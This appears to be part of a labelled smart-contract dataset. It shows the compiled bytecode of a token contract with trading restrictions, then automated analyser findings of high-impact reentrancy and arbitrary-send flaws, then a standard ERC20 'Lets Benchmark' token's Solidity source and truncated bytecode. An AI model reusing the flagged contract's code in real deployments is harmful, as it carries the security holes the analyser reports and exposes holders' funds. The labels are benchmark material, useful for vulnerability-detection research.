51808303818588803b1580156110f557600080fd5b505af1158015611109573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112e9190612afb565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600881905550600a600981905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611240929190612e5e565b602060405180830381600087803b15801561125a57600080fd5b505af115801561126e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112929190612aa9565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590613065565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137590612f65565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145c91906130c5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d090613045565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090612f25565b60405180910390fd5b6000811161158c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158390613025565b60405180910390fd5b611594610ad6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160257506115d2610ad6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7257600f60179054906101000a900460ff1615611835573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116de5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117385750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177e611296565b73ffffffffffffffffffffffffffffffffffffffff1614806117f45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117dc611296565b73ffffffffffffffffffffffffffffffffffffffff16145b611833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182a906130a5565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fb5750600f60179054906101000a900460ff165b15611ab85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4b57600080fd5b601054811115611a5a57600080fd5b6001601154611a699190613282565b42611a7491906131fb565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac330610850565b9050600f60159054906101000a900460ff16158015611b305750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b485750600f60169054906101000a900460ff165b15611b7057611b5681611dcc565b60004790506000811115611b6e57611b6d476120c6565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c195750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2357600090505b611c2f848484846121c1565b50505050565b6000838311158290611c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c749190612f03565b60405180910390fd5b5060008385611c8c91906132dc565b9050809150509392505050565b6000600654821115611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790612f45565b60405180910390fd5b6000611cea6121ee565b9050611cff8184611d8290919063ffffffff16565b915050919050565b600080831415611d1a5760009050611d7c565b60008284611d289190613282565b9050828482611d379190613251565b14611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90612fe5565b60405180910390fd5b809150505b92915050565b6000611dc483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612219565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e585781602001602082028036833780820191505090505b5090503081600081518110611e96577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3857600080fd5b505afa158015611f4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f70919061294f565b81600181518110611faa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120759594939291906130e0565b600060405180830381600087803b15801561208f57600080fd5b505af11580156120a3573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612116600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612141573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612192600284611d8290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121bd573d6000803e3d6000fd5b5050565b806121cf576121ce61227c565b5b6121da8484846122ad565b806121e8576121e7612478565b5b50505050565b60008060006121fb61248a565b915091506122128183611d8290919063ffffffff16565b9250505090565b60008083118290612260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122579190612f03565b60405180910390fd5b506000838561226f9190613251565b9050809150509392505050565b600060085414801561229057506000600954145b1561229a576122ab565b600060088190555060006009819055505b565b6000806000806000806122bf876124ec565b95509550955095509550955061231d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fe816125fc565b61240884836126b9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246591906130c5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124c0683635c9adc5dea00000600654611d8290919063ffffffff16565b8210156124df57600654683635c9adc5dea000009350935050506124e8565b81819350935050505b9091565b60008060008060008060008060006125098a6008546009546126f3565b92509250925060006125196121ee565b9050600080600061252c8e878787612789565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c35565b905092915050565b60008082846125ad91906131fb565b9050838110156125f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e990612f85565b60405180910390fd5b8091505092915050565b60006126066121ee565b9050600061261d8284611d0790919063ffffffff16565b905061267181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126ce8260065461255490919063ffffffff16565b6006819055506126e98160075461259e90919063ffffffff16565b6007819055505050565b60008060008061271f6064612711888a611d0790919063ffffffff16565b611d8290919063ffffffff16565b90506000612749606461273b888b611d0790919063ffffffff16565b611d8290919063ffffffff16565b9050600061277282612764858c61255490919063ffffffff16565b61255490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a28589611d0790919063ffffffff16565b905060006127b98689611d0790919063ffffffff16565b905060006127d08789611d0790919063ffffffff16565b905060006127f9826127eb858761255490919063ffffffff16565b61255490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128256128208461317a565b613155565b9050808382526020820190508285602086028201111561284457600080fd5b60005b85811015612874578161285a888261287e565b845260208401935060208301925050600181019050612847565b5050509392505050565b60008135905061288d816137e1565b92915050565b6000815190506128a2816137e1565b92915050565b600082601f8301126128b957600080fd5b81356128c9848260208601612812565b91505092915050565b6000813590506128e1816137f8565b92915050565b6000815190506128f6816137f8565b92915050565b60008135905061290b8161380f565b92915050565b6000815190506129208161380f565b92915050565b60006020828403121561293857600080fd5b60006129468482850161287e565b91505092915050565b60006020828403121561296157600080fd5b600061296f84828501612893565b91505092915050565b6000806040838503121561298b57600080fd5b60006129998582860161287e565b92505060206129aa8582860161287e565b9150509250929050565b6000806000606084860312156129c957600080fd5b60006129d78682870161287e565b93505060206129e88682870161287e565b92505060406129f9868287016128fc565b9150509250925092565b60008060408385031215612a1657600080fd5b6000612a248582860161287e565b9250506020612a35858286016128fc565b9150509250929050565b600060208284031215612a5157600080fd5b600082013567ffffffffffffffff811115612a6b57600080fd5b612a77848285016128a8565b91505092915050565b600060208284031215612a9257600080fd5b6000612aa0848285016128d2565b91505092915050565b600060208284031215612abb57600080fd5b6000612ac9848285016128e7565b91505092915050565b600060208284031215612ae457600080fd5b6000612af2848285016128fc565b91505092915050565b600080600060608486031215612b1057600080fd5b6000612b1e86828701612911565b9350506020612b2f86828701612911565b9250506040612b4086828701612911565b9150509250925092565b6000612b568383612b62565b60208301905092915050565b612b6b81613310565b82525050565b612b7a81613310565b82525050565b6000612b8b826131b6565b612b9581856131d9565b9350612ba0836131a6565b8060005b83811015612bd1578151612bb88882612b4a565b9750612bc3836131cc565b925050600181019050612ba4565b5085935050505092915050565b612be781613322565b82525050565b612bf681613365565b82525050565b6000612c07826131c1565b612c1181856131ea565b9350612c21818560208601613377565b612c2a816134b1565b840191505092915050565b6000612c426023836131ea565b9150612c4d826134c2565b604082019050919050565b6000612c65602a836131ea565b9150612c7082613511565b604082019050919050565b6000612c886022836131ea565b9150612c9382613560565b604082019050919050565b6000612cab601b836131ea565b9150612cb6826135af565b602082019050919050565b6000612cce601b836131ea565b9150612cd9826135d8565b602082019050919050565b6000612cf1601d836131ea565b9150612cfc82613601565b602082019050919050565b6000612d146021836131ea565b9150612d1f8261362a565b604082019050919050565b6000612d376020836131ea565b9150612d4282613679565b602082019050919050565b6000612d5a6029836131ea565b9150612d65826136a2565b604082019050919050565b6000612d7d6025836131ea565b9150612d88826136f1565b604082019050919050565b6000612da06024836131ea565b9150612dab82613740565b604082019050919050565b6000612dc3601a836131ea565b9150612dce8261378f565b602082019050919050565b6000612de66011836131ea565b9150612df1826137b8565b602082019050919050565b612e058161334e565b82525050565b612e1481613358565b82525050565b6000602082019050612e2f6000830184612b71565b92915050565b6000604082019050612e4a6000830185612b71565b612e576020830184612b71565b9392505050565b6000604082019050612e736000830185612b71565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b71565b612ea96020830188612dfc565b612eb66040830187612bed565b612ec36060830186612bed565b612ed06080830185612b71565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612bde565b92915050565b60006020820190508181036000830152612f1d8184612bfc565b905092915050565b60006020820190508181036000830152612f3e81612c35565b9050919050565b60006020820190508181036000830152612f5e81612c58565b9050919050565b60006020820190508181036000830152612f7e81612c7b565b9050919050565b60006020820190508181036000830152612f9e81612c9e565b9050919050565b60006020820190508181036000830152612fbe81612cc1565b9050919050565b60006020820190508181036000830152612fde81612ce4565b9050919050565b60006020820190508181036000830152612ffe81612d07565b9050919050565b6000602082019050818103600083015261301e81612d2a565b9050919050565b6000602082019050818103600083015261303e81612d4d565b9050919050565b6000602082019050818103600083015261305e81612d70565b9050919050565b6000602082019050818103600083015261307e81612d93565b9050919050565b6000602082019050818103600083015261309e81612db6565b9050919050565b600060208201905081810360008301526130be81612dd9565b9050919050565b60006020820190506130da6000830184612dfc565b92915050565b600060a0820190506130f56000830188612dfc565b6131026020830187612bed565b81810360408301526131148186612b80565b90506131236060830185612b71565b6131306080830184612dfc565b9695505050505050565b600060208201905061314f6000830184612e0b565b92915050565b600061315f613170565b905061316b82826133aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561319557613194613482565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132068261334e565b91506132118361334e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561324657613245613424565b5b828201905092915050565b600061325c8261334e565b91506132678361334e565b92508261327757613276613453565b5b828204905092915050565b600061328d8261334e565b91506132988361334e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132d1576132d0613424565b5b828202905092915050565b60006132e78261334e565b91506132f28361334e565b92508282101561330557613304613424565b5b828203905092915050565b600061331b8261332e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133708261334e565b9050919050565b60005b8381101561339557808201518184015260208101905061337a565b838111156133a4576000848401525b50505050565b6133b3826134b1565b810181811067ffffffffffffffff821117156133d2576133d1613482565b5b80604052505050565b60006133e68261334e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561341957613418613424565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137ea81613310565b81146137f557600080fd5b50565b61380181613322565b811461380c57600080fd5b50565b6138188161334e565b811461382357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f795130114d36d3adddc0547ef176b727cbc201719a9ac5a70c6d5b41699523064736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,298
0xe52ec57a831ec6ab522d3e57a73c0c01c1fa58f9
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract LetsBenchmark is ERC20 { constructor(uint256 initialSupply) ERC20 ("Lets Benchmark", "LMARK"){ _mint(msg.sender,initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610d29565b60405180910390f35b6100e660048036038101906100e19190610b73565b610308565b6040516100f39190610d0e565b60405180910390f35b61010461032b565b6040516101119190610e2b565b60405180910390f35b610134600480360381019061012f9190610b20565b610335565b6040516101419190610d0e565b60405180910390f35b610152610364565b60405161015f9190610e46565b60405180910390f35b610182600480360381019061017d9190610b73565b61036d565b60405161018f9190610d0e565b60405180910390f35b6101b260048036038101906101ad9190610ab3565b6103a4565b6040516101bf9190610e2b565b60405180910390f35b6101d06103ec565b6040516101dd9190610d29565b60405180910390f35b61020060048036038101906101fb9190610b73565b61047e565b60405161020d9190610d0e565b60405180910390f35b610230600480360381019061022b9190610b73565b6104f5565b60405161023d9190610d0e565b60405180910390f35b610260600480360381019061025b9190610ae0565b610518565b60405161026d9190610e2b565b60405180910390f35b60606003805461028590610f5b565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190610f5b565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b60008061031361059f565b90506103208185856105a7565b600191505092915050565b6000600254905090565b60008061034061059f565b905061034d858285610772565b6103588585856107fe565b60019150509392505050565b60006012905090565b60008061037861059f565b905061039981858561038a8589610518565b6103949190610e7d565b6105a7565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546103fb90610f5b565b80601f016020809104026020016040519081016040528092919081815260200182805461042790610f5b565b80156104745780601f1061044957610100808354040283529160200191610474565b820191906000526020600020905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b60008061048961059f565b905060006104978286610518565b9050838110156104dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d390610e0b565b60405180910390fd5b6104e982868684036105a7565b60019250505092915050565b60008061050061059f565b905061050d8185856107fe565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610617576040517f08c379a00000000000000000000000